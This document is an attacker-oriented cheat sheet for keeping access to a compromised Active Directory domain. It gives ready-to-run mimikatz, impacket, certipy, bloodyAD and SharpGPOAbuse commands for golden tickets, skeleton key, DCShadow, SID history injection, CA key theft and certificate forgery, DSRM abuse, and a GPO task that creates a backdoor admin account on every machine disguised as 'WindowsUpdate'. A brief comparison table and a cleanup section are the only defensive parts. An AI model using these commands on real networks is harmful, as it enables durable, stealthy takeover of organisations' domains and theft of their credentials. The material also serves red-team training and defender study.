Persistence

Maintain access to an AD environment after initial compromise. Golden/silver/diamond tickets, skeleton key, AdminSDHolder, DCShadow, SID history injection, GPO abuse, machine account persistence, and certificate-based persistence.

Sections Persistence

You have Domain Admin (or equivalent). Now entrench. These techniques let you regain access even if passwords are changed, accounts are disabled, or your initial foothold is burned. Each has a different durability, stealth profile, and cleanup difficulty.


Persistence Technique Comparison

Technique Survives Password Reset Survives krbtgt Reset Detection Difficulty Cleanup Difficulty
Golden Ticket Yes No (needs 2x reset) Medium Easy (rotate krbtgt 2x)
Silver Ticket Yes (per service) N/A Low Rotate service account
Diamond Ticket Yes No (needs 2x reset) High Same as Golden
Skeleton Key Yes N/A Low (memory only) Reboot DC
AdminSDHolder Yes N/A Medium Manual ACL cleanup
DCShadow Yes N/A High Audit and revert changes
SID History Yes N/A Medium Clear SID history attribute
Certificate Persistence Yes Yes High Revoke cert + rotate CA keys
GPO Persistence Yes N/A Medium Remove malicious GPO
Machine Account Yes N/A Medium Delete account

Golden Ticket Persistence

The krbtgt hash lets you forge TGTs indefinitely. This is the most well-known AD persistence mechanism.

terminal
# Extract krbtgt hash
root@localhost:~# impacket-secretsdump corp.local/Administrator:'P@ssw0rd123'@10.10.11.35 -just-dc-user krbtgt

# Store the hash, domain SID, and domain name securely
# krbtgt NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
# krbtgt AES256: 4a3f2b1c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2
# Domain SID: S-1-5-21-3842939050-3880317879-2865463114
# Domain: corp.local

# Forge a ticket anytime later
root@localhost:~# impacket-ticketer -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d -domain-sid S-1-5-21-3842939050-3880317879-2865463114 -domain corp.local Administrator
root@localhost:~# export KRB5CCNAME=Administrator.ccache
root@localhost:~# impacket-psexec corp.local/Administrator@dc01.corp.local -k -no-pass
Golden Tickets have a default lifetime of 10 years. The ticket is validated by the DC only when requesting service tickets (TGS-REQ), not on initial creation. This means you can forge a ticket offline and use it days or weeks later.

Skeleton Key

A Skeleton Key patches the LSASS process on a DC to accept a master password alongside every user’s real password. Any user can authenticate with the skeleton password while their real password continues to work normally.

powershell
# Inject Skeleton Key on a DC (requires DA and access to DC)
PS C:\> .\mimikatz.exe "privilege::debug" "misc::skeleton" "exit"

# Default skeleton password is "mimikatz"
# Now authenticate as any user with password "mimikatz"
terminal
# Use the skeleton key from Linux
root@localhost:~# netexec smb 10.10.11.35 -u Administrator -p 'mimikatz'
root@localhost:~# impacket-psexec corp.local/Administrator:'mimikatz'@10.10.11.35
Skeleton Key only lives in LSASS memory. It does not survive a DC reboot. If the DC is restarted, you need to re-inject. In environments with multiple DCs, you need to inject on each one separately.

Skeleton Key via DVSL (Survives Reboots)

The Directory Virtual Service Layer (DVSL) skeleton key variant patches at a deeper level and can persist across reboots, but requires more privileges.

powershell
# Requires /patch to hook the directory service
PS C:\> .\mimikatz.exe "privilege::debug" "misc::skeleton /patch" "exit"

AdminSDHolder Abuse

The AdminSDHolder container has an ACL that gets applied to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes by the SDProp process. If you modify the AdminSDHolder ACL to include your user, you will automatically get permissions on all protected objects.

# Add GenericAll for svc_backup on AdminSDHolder
impacket-dacledit corp.local/Administrator:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -principal svc_backup -rights FullControl -action write

# bloodyAD alternative
bloodyAD -d corp.local -u Administrator -p 'P@ssw0rd123' --host 10.10.11.35 add genericAll "CN=AdminSDHolder,CN=System,DC=corp,DC=local" svc_backup
SDProp runs every 60 minutes by default. After modifying AdminSDHolder, wait up to an hour for the ACE to propagate to Domain Admins, Enterprise Admins, and all other protected groups. You can force it by running Invoke-SDPropagator or manually triggering the ProtectedAdminOpsNow rootDSE modification.

DCShadow

DCShadow registers your compromised machine as a temporary domain controller, then pushes malicious changes to AD through normal replication. The changes come from a “DC” so they blend in with legitimate replication traffic.

powershell
# Terminal 1: Start the fake DC (requires SYSTEM on a domain-joined machine)
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:primaryGroupID /value:512" "exit"

# Terminal 2: Push the replication
PS C:\> .\mimikatz.exe "lsadump::dcshadow /push" "exit"

Common DCShadow Modifications

powershell
# Add a user to Domain Admins (set primaryGroupID to 512)
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:primaryGroupID /value:512"

# Set SID History on a user
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:SIDHistory /value:S-1-5-21-3842939050-3880317879-2865463114-500"

# Modify the AdminCount attribute
PS C:\> .\mimikatz.exe "lsadump::dcshadow /object:svc_backup /attribute:adminCount /value:1"
DCShadow requires SYSTEM privileges on a domain-joined machine and Domain Admin rights to register the temporary DC. The changes are pushed through legitimate replication, making them very hard to detect with standard monitoring.

SID History Injection

SID History is an attribute designed for domain migrations. When set on a user, the SIDs in the history are added to the user’s token at logon. Inject the Domain Admin SID into a regular user’s SID history, and they become DA at next logon.

# Impacket - modify SID history (requires DA)
# Use DCShadow or direct LDAP modification

# bloodyAD
bloodyAD -d corp.local -u Administrator -p 'P@ssw0rd123' --host 10.10.11.35 add SIDHistory svc_backup 'S-1-5-21-3842939050-3880317879-2865463114-500'
SID History survives password changes. The injected SID is part of the user object, not the credential. The user gets DA privileges every time they log in, even with a brand new password. Cleanup requires explicitly clearing the sIDHistory attribute.

Certificate-Based Persistence

If AD CS (Active Directory Certificate Services) is deployed, you can request or forge certificates that provide long-lived authentication independent of password changes and krbtgt rotations.

Request a Long-Lived Certificate

terminal
# Request a certificate as Administrator (if you have DA)
root@localhost:~# certipy req -u Administrator@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -dc-ip 10.10.11.35

# The certificate is valid for the template's validity period (often 1 year)
# Use it to authenticate later
root@localhost:~# certipy auth -pfx administrator.pfx -dc-ip 10.10.11.35

Forge a Certificate with Stolen CA Key

If you extract the CA private key, you can forge certificates for any user indefinitely.

terminal
# Extract the CA private key and certificate (requires DA + access to CA server)
root@localhost:~# certipy ca -u Administrator@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -backup -dc-ip 10.10.11.35

# Forge a certificate for any user
root@localhost:~# certipy forge -ca-pfx ca.pfx -upn Administrator@corp.local -subject "CN=Administrator,CN=Users,DC=corp,DC=local"

# Authenticate with the forged certificate
root@localhost:~# certipy auth -pfx forged_administrator.pfx -dc-ip 10.10.11.35
powershell
# SharpDPAPI to extract CA private key from DPAPI
PS C:\> .\SharpDPAPI.exe certificates /machine

# Certify - request a certificate
PS C:\> .\Certify.exe request /ca:dc01.corp.local\CORP-DC01-CA /template:User

# ForgeCert - forge certificates with the stolen CA key
PS C:\> .\ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject "CN=Administrator" --SubjectAltName Administrator@corp.local --NewCertPath forged.pfx --NewCertPassword Password123
Certificate-based persistence survives password changes and krbtgt rotations. The only way to invalidate forged certificates is to revoke the CA certificate itself and replace the CA keys, which is a massive operational undertaking. This makes cert-based persistence one of the most durable techniques available.

GPO-Based Persistence

Create or modify a GPO to deploy a payload (scheduled task, startup script, registry modification) across the domain.

terminal
# pyGPOAbuse - add a scheduled task via GPO
root@localhost:~# python3 pygpoabuse.py corp.local/Administrator:'P@ssw0rd123' -gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" -command "cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" -taskname "WindowsUpdate" -description "Windows Update Task" -f
powershell
# SharpGPOAbuse - add immediate scheduled task
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Default Domain Policy"

# SharpGPOAbuse - add a startup script
PS C:\> .\SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" --ScriptContents "net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Default Domain Policy"
GPO-based persistence affects every machine the GPO is linked to. Using the Default Domain Policy means every domain-joined machine will execute your payload. Use targeted OUs for less noise.

Machine Account Persistence

Create a machine account with a known password and grant it DCSync rights or add it to privileged groups. Machine accounts do not show up in normal user enumeration and rarely attract attention.

terminal
# Create a machine account
root@localhost:~# impacket-addcomputer corp.local/Administrator:'P@ssw0rd123' -computer-name 'YOURPC$' -computer-pass 'LongP@ssword!2026' -dc-ip 10.10.11.35

# Grant DCSync rights to the machine account
root@localhost:~# impacket-dacledit corp.local/Administrator:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "DC=corp,DC=local" -principal 'YOURPC$' -rights DCSync -action write

# Later, use the machine account for DCSync
root@localhost:~# impacket-secretsdump corp.local/'YOURPC$':'LongP@ssword!2026'@10.10.11.35 -just-dc

DSRM Password Abuse

The Directory Services Restore Mode (DSRM) password is a local admin password on every DC, set during dcpromo. If you know it, you can authenticate locally on the DC even when AD is offline.

powershell
# Dump the DSRM password hash from the DC
PS C:\> .\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
# The DSRM account is the local "Administrator" in the SAM

# Enable network logon for DSRM (required for remote access)
PS C:\> Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior -Value 2

# Authenticate with the DSRM hash (PtH to the DC's local admin)
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:dc01 /ntlm:a3f1b9c2d4e5f6a7b8c9d0e1f2a3b4c5 /run:powershell.exe" "exit"
The DSRM password is independent of AD. Even if every domain account password is changed and the krbtgt is rotated, the DSRM password on the DC remains the same unless explicitly changed. Setting DsrmAdminLogonBehavior to 2 allows you to use the DSRM hash for network logon (PtH).

Persistence Cleanup Difficulty

1

Easy to Clean

“Skeleton Key (reboot DC), extra user accounts (delete account), scheduled tasks (remove task). These leave obvious artifacts that defenders can find and remove.”
2

Medium Difficulty

“Golden Ticket (rotate krbtgt 2x), AdminSDHolder ACE (manually audit and remove), SID History (clear attribute), GPO persistence (remove GPO modifications).”
3

Hard to Clean

“Certificate persistence (revoke CA and reissue all certs), DCShadow (audit all replicated changes), DSRM password (change on every DC). These require deep forensic investigation to fully remediate.”